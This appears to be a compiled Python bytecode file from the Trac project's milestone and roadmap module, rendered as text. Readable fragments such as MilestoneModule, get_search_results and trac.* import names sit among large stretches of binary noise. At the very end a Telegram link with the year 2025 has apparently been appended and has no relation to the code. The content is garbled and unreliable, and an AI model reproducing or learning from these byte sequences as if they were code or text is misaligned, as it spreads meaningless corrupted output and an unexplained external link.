�}	t|j||j�t
|j|�|	dt�|�fVqt|j��|||�D]}
|
VqbdS)Nr�c3s$�|]
}|���p
|���VqdSrb)�search)rQ�r�rirhr9r;r��s��z5MilestoneModule.get_search_results.<locals>.<genexpr>r�r
r�)r
r�r�r%r�r�rwrr�rr�get_resource_urlr��get_resource_namerr�get_search_results)rHr��termsr��term_regexpsr�r�rr��dt�resultr9rr;r�s2�
��
�
��
��z"MilestoneModule.get_search_results)r�)NN)-r=r>r?rcr�r,rr)�IResourceManagerrr'r5r�rr7r�rr�r�rr	rr�r�r�rr/r�r�r��propertyr�r�r�r�r�r�r�r�r�rr
rr
rr9r9r9r;r�sZ����
*e

! J
,

r)Nr�)r�)F)r�N)\rrrnr�rB�trac.attachmentrr�trac.configrrr�	trac.core�trac.notification.apir
�	trac.permr�
trac.resource�trac.searchrr
r�	trac.utilrr�trac.util.datefmtrrrrrrrrrr�trac.util.htmlr�trac.util.presentationr�trac.util.textrrr�trac.util.translationr r!�trac.ticket.apir"�trac.ticket.notificationr#�trac.ticket.modelr$r%r&�trac.timeline.apir'�trac.web.apir(r)r*�trac.web.chromer+r,r-r.r/r0r1r2r3r4�
trac.wiki.apir5�trac.wiki.formatterr6�	Interfacer7�objectr@�	Componentrdr�r�r�r�r�r�r�r�rrr9r9r9r;�<module>sT00	M



�3O

https://t.me/RX1948 - 2025